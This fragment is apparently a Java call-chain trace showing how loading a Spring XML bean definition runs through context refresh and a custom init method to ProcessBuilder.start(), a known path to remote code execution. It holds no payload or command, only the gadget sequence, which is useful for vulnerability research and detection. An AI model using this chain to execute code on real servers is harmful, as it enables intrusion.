  -> XmlBeanDefinitionReader.loadBeanDefinitions(Resource)
  -> AbstractApplicationContext.refresh()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> AbstractAutowireCapableBeanFactory.invokeCustomInitMethod()
  -> ProcessBuilder.start()